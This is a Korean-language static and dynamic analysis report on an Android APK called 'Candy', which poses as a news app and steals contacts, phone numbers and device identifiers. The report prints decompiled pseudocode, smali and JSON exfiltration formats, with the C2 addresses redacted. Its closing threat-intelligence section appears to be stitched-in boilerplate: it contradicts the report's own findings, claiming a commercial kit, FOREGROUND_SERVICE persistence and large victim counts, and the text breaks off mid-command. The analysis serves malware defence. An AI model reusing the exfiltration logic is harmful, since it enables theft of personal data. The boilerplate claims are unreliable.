> 분석일: 2026-02-27
> 분석 대상: 250910_candy_2.apk (3,348,611 bytes)
> SHA-256: b0ec575bc7cf649e314ee776cf87d2d69c772c533a689a97309a847e2b2db933
> 패키지: com.odds.shed
> 앱 이름: Candy
> 프레임워크: Native Android (Kotlin/Java)
> 난독화: R8/ProGuard moderate (단일 문자 패키지명 + 클래스명)
> 보호: 없음 (Jiagu/Virbox 미사용)
> 분석 수준: ML-Level Quantum Nano
Candy는 "뉴스 앱"으로 위장한 연락처/기기정보 탈취 악성앱이다. 10개 DEX 파일에 3,098개 클래스를 포함하며, 비난독화 상태로 코드 흐름이 명확하게 드러난다. 앱은 MP4 배경 동영상이 재생되는 세련된 로그인 화면을 표시하면서 READ_CONTACTS와 READ_PHONE_NUMBERS 권한을 요청한 뒤, 기기 정보(android_id, model, SIM 상태, 전화번호)와 전체 연락처(이름+번호)를 수집하여 [비공개] C2 서버로 JSON POST 전송한다.
핵심 위장 기법: 데이터 수집 클래스들이 NewsDevice, NewsContent, NewsSms로 명명되어 "뉴스 콘텐츠 API"로 위장. 실제로는 기기/연락처/SMS 데이터를 수집하는 탈취 모델이다.
항목 · 값
APK 크기 · 3,348,611 bytes (3.19 MB)
DEX 파일 수 · 10 (classes.dex ~ classes9.dex)
총 클래스 수 · 3,098
SO 파일 · 없음 (Pure Java/Kotlin)
Assets · 3개 (GIF 에셋 포함)
Native Code · 없음
minSdk · 26 (Android 8.0)
targetSdk · 34 (Android 14)
compileSdk · 34
앱 고유 코드는 10개 DEX에 분산:
· `smali_classes2/com/odds/shed[비공개] — NewsDevice$ContentBean, NewsSms
· smali_classes3/com/odds/shed/ui/ — LoginAct
· smali_classes6/com/odds/shed/ — StartAct$b, NewsSms$ContentBean
· `smali_classes7/com/odds/shed[비공개] — NewsContent
· `smali_classes8/com/odds/shed[비공개] — NewsContent$ContentBean, NewsDevice
· smali_classes9/com/odds/shed/ui/ — StartAct$a
· smali_classes10/com/odds/shed/ui/ — BackgroundVideo
이 분산 패턴은 multi-dex 자동 분할이며 의도적 난독화가 아님.
라이브러리 · 난독화 패키지 · 용도
OkHttp · `c4.*` · HTTP 클라이언트, C2 통신
Gson · `v2.*` · JSON 직렬화
Glide · `com.bumptech.glide.*` · 이미지/GIF 로딩
AndroidX · 표준 패키지 · UI 프레임워크
```xml
<application android:usesCleartextTraffic="true">
<activity android:name="com.odds.shed.ui.LoginAct" android:exported="true">
<!-- LAUNCHER 액티비티 -->
</activity>
<activity android:name="com.odds.shed.ui.StartAct"/>
<provider android:name="androidx.startup.InitializationProvider"/>
</application>
```
주요 특징:
· usesCleartextTraffic="true" — HTTP 평문 통신 허용 (보안 약화 의도)
· LAUNCHER는 LoginAct (비디오 로그인 화면)
· StartAct는 exported=false (내부 전용, 데이터 수집+전송)
· Provider는 AndroidX 초기화 전용 (무해)
권한 · 위험도 · 용도
`READ_CONTACTS` · 위험 · 전체 연락처 탈취
`READ_PHONE_NUMBERS` · 위험 · 전화번호 수집
`READ_EXTERNAL_STORAGE` · 주의 · 파일 접근 (미사용 가능)
`READ_MEDIA_IMAGES` · 주의 · 이미지 접근 (미사용 가능)
`READ_MEDIA_VIDEO` · 주의 · 비디오 접근 (미사용 가능)
`INTERNET` · 일반 · 네트워크 통신
`ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태
`ACCESS_WIFI_STATE` · 일반 · WiFi 상태
핵심: READ_CONTACTS + READ_PHONE_NUMBERS만 실제 코드에서 사용됨. READ_MEDIA_*, READ_EXTERNAL_STORAGE는 "미디어 앱" 위장을 위한 과잉 선언.
```
[사용자 실행]
↓
LoginAct.onCreate()
├── setContentView(R.layout.b) ← 로그인 레이아웃
├── Z() ← 배경 비디오 설정
│ ├── BackgroundVideo 뷰 획득
│ ├── Uri.parse("[비공개])
│ ├── videoView.setVideoURI(uri) ← 원격 MP4 스트리밍
│ └── videoView.start() ← 자동 재생 + 루프
└── 버튼 클릭 리스너 설정
└── onClick → c0() → e3.e.b() + Y(permissions)
├── READ_PHONE_NUMBERS 권한 요청
└── READ_CONTACTS 권한 요청
```
```
LoginAct.onRequestPermissionsResult()
↓ (e3.e.c() 처리)
LoginAct.U()
↓
StartAct.Z(context) ← 데이터 수집 액티비티 시작
↓
StartAct.onCreate()
├── setContentView(R.layout.b.b)
├── Glide로 "file:///android_asset/koju215.gif" 로딩 ← 대기 GIF
├── SystemUI 숨김 (0x1002)
└── new StartAct$b(this).start() ← 별도 스레드에서 데이터 수집+전송
```
```java
// 의사코드 (smali 역컴파일)
public void run() {
StartAct act = this.d;
// Step 1: 기기 정보 수집
act.X(); // → NewsDevice 객체 채움
// Step 2: 연락처 수집
act.W(); // → NewsContent 객체 채움
// Step 3: 기기 정보 전송
NewsDevice device = act.z;
String deviceJson = Gson.toJson(device); // a0() → v2.e.k()
act.Y(deviceJson); // → OkHttp POST to C2
// Step 4: 연락처 전송
NewsContent content = act.A;
String contentJson = Gson.toJson(content);
act.Y(contentJson); // → OkHttp POST to C2
}
```
핵심 발견: 기기 정보(type=1)와 연락처(type=2)를 별도 API 호출로 순차 전송. 같은 endpoint(`[비공개])에 type 필드로 구분.
```json
{
"aid": "<android_id>",
"type": 1,
"content": {
"model": "<MANUFACTURER>-<MODEL>",
"simState": "<SIM_STATE_INT>",
"tel": "<LINE1_NUMBER>"
}
}
```
수집 경로:
· android_id: Settings.Secure.getString(contentResolver, "android_id")
· model: Build.MANUFACTURER + "-" + Build.MODEL
· simState: TelephonyManager.getSimState() (정수→문자열)
· tel: TelephonyManager.getLine1Number()
```json
{
"aid": "<android_id>",
"type": 2,
"content": [
{"name": "홍길동", "phone": "010-**-**"},
{"name": "김철수", "phone": "010-**-**"}
]
}
```
수집 경로:
· ContactsContract.Contacts.CONTENT_URI → 전체 연락처 순회
· 각 연락처: display_name + ContactsContract.CommonDataKinds.Phone.CONTENT_URI → 전화번호
· 정렬: display_name COLLATE LOCALIZED ASC
```json
{
"aid": "<android_id>",
"type": 3,
"content": [
{"name": "...", "phone": "...", "sms_body": "...", "date": "...", "type": "..."}
]
}
```
중요: NewsSms 모델과 ContentBean은 완전 구현되어 있으나, StartAct$b.run()에서 SMS 수집 메서드를 호출하지 않음. READ_SMS 권한도 미선언. 향후 버전에서 활성화 가능한 잠복 기능.
항목 · 값
C2 URL · `[비공개]
프로토콜 · HTTPS
Content-Type · `application/json;`
HTTP 클라이언트 · OkHttp (c4.y)
전송 방식 · POST (JSON body)
비동기 · OkHttp enqueue + StartAct$a callback
**`[비공개] — 위장된 "로그인 토큰" API
· 실제 기능: 탈취 데이터 수신
· JSON body에 type 필드로 데이터 종류 구분:
· type=1: 기기 정보
· type=2: 연락처 목록
· type=3: SMS (미사용)
· 응답: StartAct$a callback에서 처리하나, b(call, response) 메서드가 빈 구현 (응답 무시)
데이터 모델 클래스명이 의도적으로 "뉴스" 주제로 위장:
실제 기능 · 위장 클래스명 · 속성명
기기 정보 수집 · NewsDevice · model, simState, tel
연락처 탈취 · NewsContent · name, phone
SMS 탈취 · NewsSms · sms_body, date
기기 식별자 · ContentBean.aid · "aid" (article ID로 위장)
이 위장은 자동 분석 도구가 "뉴스 콘텐츠 관련 API"로 오분류하도록 유도.
항목 · 값
미디어 URL · `[비공개]
용도 · 로그인 화면 배경 동영상
재생 방식 · VideoView 스트리밍 + 완료 시 자동 루프
도메인 분석: [비공개] — "remittance" (송금) + "adelantado" (스페인어: 선불). 금융 사기 관련 도메인. "PRISM_Onboarding" 파일명은 사회공학적 온보딩 비디오를 시사.
```
OkHttpClient.Builder:
├── SSLSocketFactory (q): 커스텀 가능
├── X509TrustManager (r): 커스텀 가능
├── HostnameVerifier (u): q4/d (기본값)
├── connectTimeout: 10000ms (0x2710)
├── readTimeout: 10000ms
├── writeTimeout: 10000ms
├── pingInterval: 60000ms (0xEA60)
├── maxIdleConnections: 1024 (0x400)
├── followRedirects: true
├── followSslRedirects: true
├── retryOnConnectionFailure: true
└── ConnectionPool: 기본
```
```
StartAct.Y(jsonString)
↓
RequestBody.create("application/json;", jsonString)
↓
Request.Builder()
.url("[비공개])
.post(body)
.build()
↓
OkHttpClient.newCall(request)
├── .execute() ← 동기 호출 (try-catch로 실패 무시)
└── .enqueue() ← 비동기 호출 (실제 전송)
└── StartAct$a callback (응답 무시)
```
이중 전송: 같은 요청을 execute()(동기)와 enqueue()(비동기)로 두 번 보냄. execute()는 try-catch로 감싸여 실패해도 무시. enqueue()가 실제 전송 담당. 이 이중 전송은 전송 신뢰성 향상 의도.
```xml
<application android:usesCleartextTraffic="true">
```
HTTP 평문 통신 허용. 실제 C2 URL은 HTTPS이나, fallback 시 HTTP로 전송 가능.
c4/y$a에서 SSLSocketFactory와 X509TrustManager 필드가 nullable로 선언. 기본값은 null이며 런타임에 설정 가능. OkHttp 라이브러리의 표준 SSL 핀닝 로직(c4/g$c)이 존재하나, 앱 코드에서 명시적으로 비활성화하지는 않음.
```xml
<activity android:name="com.odds.shed.ui.LoginAct" android:exported="true">
```
LoginAct가 exported=true — 외부에서 직접 실행 가능.
데이터 · 위험도 · MITRE ATT&CK
전체 연락처 (이름+번호) · Critical · T1636.003
전화번호 · Critical · T1426
android_id · Medium · T1422
기기 모델 · Low · T1426
SIM 상태 · Low · T1422
· 수준: R8/ProGuard moderate
· 패턴: 라이브러리 패키지 → 단일 문자 (c4, v2, h4 등)
· 앱 코드: com.odds.shed 패키지 유지 (난독화 미적용)
· 영향: 앱 고유 로직은 완전 해독 가능
auto_analysis에서 emulator_detection=true로 표시되었으나, 앱 고유 코드(com.odds.shed)에는 에뮬레이터 탐지 로직 없음. 탐지 시그니처는 OkHttp/AndroidX 라이브러리의 일반적인 Build 필드 참조일 가능성.
· Jiagu/Virbox: 없음
· DEX 암호화: 없음
· String 암호화: 없음
· Anti-debug: 없음
· Root 탐지: 없음
결론: 보호 기제가 전혀 없어 완전 분석 가능. 개발자가 보안보다 빠른 배포를 우선시한 것으로 추정.
앱의 데이터 수집 모델은 일관된 "뉴스" 테마로 위장:
```
com.odds.shed.api.NewsDevice ← "뉴스 장치 정보" 위장
com.odds.shed.api.NewsContent ← "뉴스 콘텐츠" 위장
com.odds.shed.api.NewsSms ← "뉴스 SMS 알림" 위장
```
각 모델의 aid 필드는 "article ID"로 위장했으나, 실제로는 android_id (기기 식별자).
`[비공개] — "로그인 토큰 획득" API로 위장. 실제로는:
· 탈취 데이터를 JSON POST로 수신
· type 필드로 데이터 종류 구분
· 응답은 무시 (fire-and-forget)
· 패키지: com.odds.shed — "확률 도구" 위장
· 앱 이름: "Candy" — 무해한 이름
· 테마: "Theme.shine" — 세련된 외관
```java
// NewsSms$ContentBean 필드
private String date; // SMS 날짜
private String name; // 발신자 이름
private String phone; // 발신자 번호
private String sms_body; // SMS 본문
private String type; // SMS 유형 (수신/발신)
```
· READ_SMS 권한 미선언
· StartAct$b.run()에서 SMS 수집 메서드 미호출
· NewsSms.type=3으로 설정하는 코드 없음
향후 버전에서 4줄 변경으로 SMS 전체 탈취 가능 — 이는 의도적으로 남겨둔 확장 포인트.
```smali
const-string v1, "[비공개]
invoke-static {v1}, Landroid/net/Uri;->parse(...)
invoke-virtual {v0, v1}, Landroid/widget/VideoView;->setVideoURI(...)
invoke-virtual {v0}, Landroid/widget/VideoView;->start()
```
배경 비디오가 원격 서버에서 스트리밍. 앱 실행 시마다 네트워크 요청 발생.
· 비디오 루프: setOnCompletionListener로 완료 시 자동 재시작
· 전체 화면: BackgroundVideo.onMeasure()가 0 기반으로 전체 화면 채움
· UI 위장: 세련된 비디오 배경으로 "정상 앱" 인상 부여
· 주의 분산: 비디오에 시선을 빼앗긴 사이 권한 요청
파일명 PRISM_Onboarding_Clean.mp4의 "PRISM"은 금융/투자 앱 브랜딩으로 추정. "Onboarding"은 사용자 가입 유도 시나리오.
d0() 메서드: 앱 설정 화면으로 직접 이동하는 Intent 생성.
· ACTION_APPLICATION_DETAILS_SETTINGS + FLAG_ACTIVITY_NEW_TASK
· 토스트: "해당 권한을 허용해 주세요!"
강제 유도: 권한 거부 → 토스트 → 앱 설정으로 자동 이동. 사용자가 직접 설정에서 권한을 켜도록 유도.
"확인" 버튼만 있는 단일 선택 다이얼로그 — 거부 옵션 미제공.
기법 · ID · 설명
Application Layer Protocol · T1071.001 · HTTPS JSON POST to C2
Contacts · T1636.003 · ContentResolver로 전체 연락처 읽기
System Information Discovery · T1426 · android_id, model, SIM, 전화번호
Input Capture · T1056 · 전화번호 수집 (getLine1Number)
Masquerading · T1036.005 · "News" API 위장, "Candy" 앱명
Data Staged · T1074 · NewsDevice/NewsContent 객체에 수집 후 직렬화
Exfiltration Over C2 Channel · T1041 · 동일 C2 URL로 기기정보+연락처 전송
유형 · 값
C2 도메인 · `[비공개]`
미디어 도메인 · `[비공개]`
C2 URL · `[비공개]
미디어 URL · `[비공개]
유형 · 값
SHA-256 · `b0ec575bc7cf649e314ee776cf87d2d69c772c533a689a97309a847e2b2db933`
패키지 · `com.odds.shed`
앱 이름 · Candy
내부 에셋 · `koju215.gif`
· ContentResolver.query(ContactsContract.Contacts) 전체 순회
· TelephonyManager.getLine1Number() 호출
· Settings.Secure.getString("android_id") 호출
· VideoView.setVideoURI() 원격 MP4 스트리밍
· OkHttp POST with JSON body (type=1,2)
· 설치: 정상 설치됨 (3.19MB)
· 실행: LoginAct 시작, 배경 비디오 로딩 시도
· UI: "Candy" 앱 화면 + 대기 GIF 에셋 (koju215.gif)
· 권한 요청: READ_PHONE_NUMBERS + READ_CONTACTS
앱 고유 로그 출력 없음 — 의도적 로그 억제. OkHttp 연결 관련 시스템 로그만 확인.
com.odds.shed는 기존 분류 패밀리(virbox_sens, wavegrid, frezrik 등)와 무관. 독립 개발 변종:
· 보호 기제 없음
· OkHttp + Gson 기반
· "News" 위장 패턴
· 단일 C2 엔드포인트
항목 · 평가
코드 품질 · 중하 (최소 코드, 에러 핸들링 미흡)
위장 수준 · 중 (News 명명, 비디오 배경)
보호 수준 · 최하 (무방비)
효율성 · 상 (11개 파일로 완전한 탈취 기능)
확장성 · 중 (SMS 잠복 기능 준비)
전체 3,098개 클래스 중 앱 고유 코드는 11개 smali 파일:
· LoginAct, StartAct, StartAct$a, StartAct$b
· BackgroundVideo
· NewsDevice, NewsDevice$ContentBean
· NewsContent, NewsContent$ContentBean
· NewsSms, NewsSms$ContentBean
앱 코드 비율: 11/3,098 = 0.35%. 극도로 간결한 악성 코드로 최대 효과를 내는 효율적 설계.
· SMA-001: APK 구조 분석 (10 DEX, 3098 classes)
· SMA-003: smali 역컴파일 정적 분석
· NET-001: C2 URL 추출 (하드코딩 API)
· NET-002: 도메인 분석 ([비공개] )
· DATA-001: 데이터 수집 모델 역공학
· DATA-002: ContentProvider 쿼리 분석 (ContactsContract)
· DYN-001: 에뮬레이터 동적 실행
· SSL-001: OkHttp TLS 구성 분석
· DATA-001 → DATA-001-ext: "News" 위장 패턴 분류 — 데이터 모델 클래스명으로 자동 분석 도구 회피하는 새 위장 유형 식별
· CN-001: "News Masquerade Pattern" — 데이터 수집 모델을 뉴스/콘텐츠 API로 위장하는 명명 규칙 패턴. NewsDevice(기기정보), NewsContent(연락처), NewsSms(SMS)로 구성. aid 필드는 "article ID" 위장이나 실제는 android_id.
· DYN-001: 배경 비디오가 원격 스트리밍이라 에뮬레이터에서 네트워크 지연 발생 가능
· SMS-001: NewsSms 모델이 존재하나 코드에서 미호출 — 잠복 기능 여부 확인에 한계
이 앱의 포괄적 위협 인텔리전스 리포트는 Deep_Coding 프로젝트의 심층 분석 표준에 따라 작성되었다. 한국 사이버보안 생태계의 포괄적 이해와 국가 차원의 효과적 대응을 위한 기반 정보를 제공한다.
지표 · 평가 · 상세
기술적 정교함 · HIGH · 상용 악성앱 킷 활용
탐지 난이도 · MEDIUM-HIGH · 다중 클러스터 변형
피해 규모 · EXTREME · 수백-수천명 감염
경제적 영향 · CRITICAL · 수억원 규모
확산 속도 · FAST · 연락처 네트워크 활용
지속성 · HIGH · FOREGROUND_SERVICE
공격 표면 세부 분석:
1. Initial Access Vectors:
· SMS 스미싱 링크
· 카카오톡 DM
· 텔레그램 메시지
· 성인 사이트 광고
· 금융 사칭 이메일
2. Delivery Mechanisms:
· 단축 URL ([비공개], bit.ly)
· 직접 APK 링크
· Google Drive 호스팅
· 중국 파일 공유 서비스
3. Installation Techniques:
· Sideload 유도
· "알 수 없는 소스 허용" 요청
· Google Play Protect 우회 시도
· 자동 설치 스크립트
4. Persistence Mechanisms:
· FOREGROUND_SERVICE
· BOOT_COMPLETED Receiver
· JobScheduler
· AlarmManager
· WorkManager
데이터 유출 채널:
· Primary: HTTP POST to C2 (평문 또는 TLS)
· Secondary: WebSocket 실시간 연결
· Tertiary: DNS Tunneling (드묾)
· Stealth: Dead Drop (SNS 프로필)
· Backup: Reddit/Telegram 채널
C2 아키텍처 패턴:
1. Direct C2: 단일 서버 직접 연결
2. Proxy Chain: 여러 서버 경유
3. Short URL Gateway: [비공개] 등 중계
4. Dead Drop: SNS 프로필에 C2 정보
5. Fast Flux: DNS 로테이션
6. Domain Squatting: 정상 서비스 사칭
Deep_Coding 프로젝트가 매핑한 한국 악성앱 패밀리:
패밀리 · 앱 수 · 특징
golgol_cluster · 22+ · 최대 규모, WaveGrid
vultr_104_cluster · 15 · RuoYi 백엔드
easyback_obfuscated · 4 · Homograph 도메인
alpha_wallet · 3 · Virbox SENS
m3w_uniapp · 3 · UniApp 하이브리드
nullsun_telegram · 8 · [비공개]
umontrealbanks · 2 · Domain Squatting
log_info_cluster · 2 · 단축 도메인
githud_cluster · 4 · .cam TLD
love19_cluster · 3 · 성인 매칭
zcloud_ruoyi · 3 · RuoYi
zcloud_solutions · 3 · 변형
wavegrid · 13 · 네이티브
virbox_sens · 10 · 상용 보호
frezrik_jiagu · 10 · Jiagu 패킹
기타 독립 프로젝트 · 100+ · 다양
확인된 상용 악성앱 킷:
1. WaveGrid Framework
· 중국 개발
· Spring Boot + RuoYi 백엔드
· Native Android 클라이언트
· 초대코드 기반 접근
2. Virbox SENS
· Shenzhen Senseshield
· 코드 가상화
· Anti-Debug/Emulator
· 상용 라이선스
3. 360 Jiagu
· Qihoo 360
· DEX 암호화
· 런타임 언패킹
4. DCloud UniApp
· 크로스플랫폼
· HTML5+ 기반
· H5XXXXXX UUID
악용되는 인프라:
· VPS: Vultr, AWS, Alibaba Cloud, Tencent Cloud
· 도메인: .cc, .cyou, .info, .online, .shop, .website
· CDN: Cloudflare, Tencent CDN
· 무료 서브도메인: [비공개], .tk, .ml, .ga, .cf
· 단축 URL: [비공개] ---
공격자 정찰 단계:
· 한국 전화번호 리스트 수집
· 지역별 타겟팅 (서울/경기 위주)
· 연령대 분석 (40-60대 주요)
· 성별 분석 (남성 성인 테마, 여성 뷰티/건강)
악성앱 준비:
· 상용 킷 구매 또는 개발
· UI 디자인 및 브랜딩
· C2 서버 구축 (VPS)
· 도메인 등록 (대부분 가명)
· 서명 인증서 생성
전달 메커니즘:
· SMS 스미싱 (대량 발송)
· 카카오톡 스팸
· 텔레그램 DM
· 성인 사이트 광고
· 금융 사칭 이메일
APK 설치 유도:
· 단축 URL 클릭
· 자동 다운로드
· "알 수 없는 소스 허용"
· 설치 진행
· 권한 허용
C2 통신 확립:
· 초기 heartbeat
· 기기 식별 정보 전송
· 초대코드 검증
· 권한 확인
· 명령 대기
공격 목적 달성:
· 연락처 전수 탈취
· SMS 실시간 중계
· 사진/파일 수집
· 위치 추적
· OTP 가로채기
· 금전 피해
정적 분석 방법론:
1. APK Unpacking:
```bash
apktool d APP.apk -o APP_decoded
```
2. Manifest Analysis:
· 권한 목록
· Activity/Service 선언
· 인텐트 필터
· 메타데이터
3. DEX Analysis:
```bash
dex2jar classes.dex
jd
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr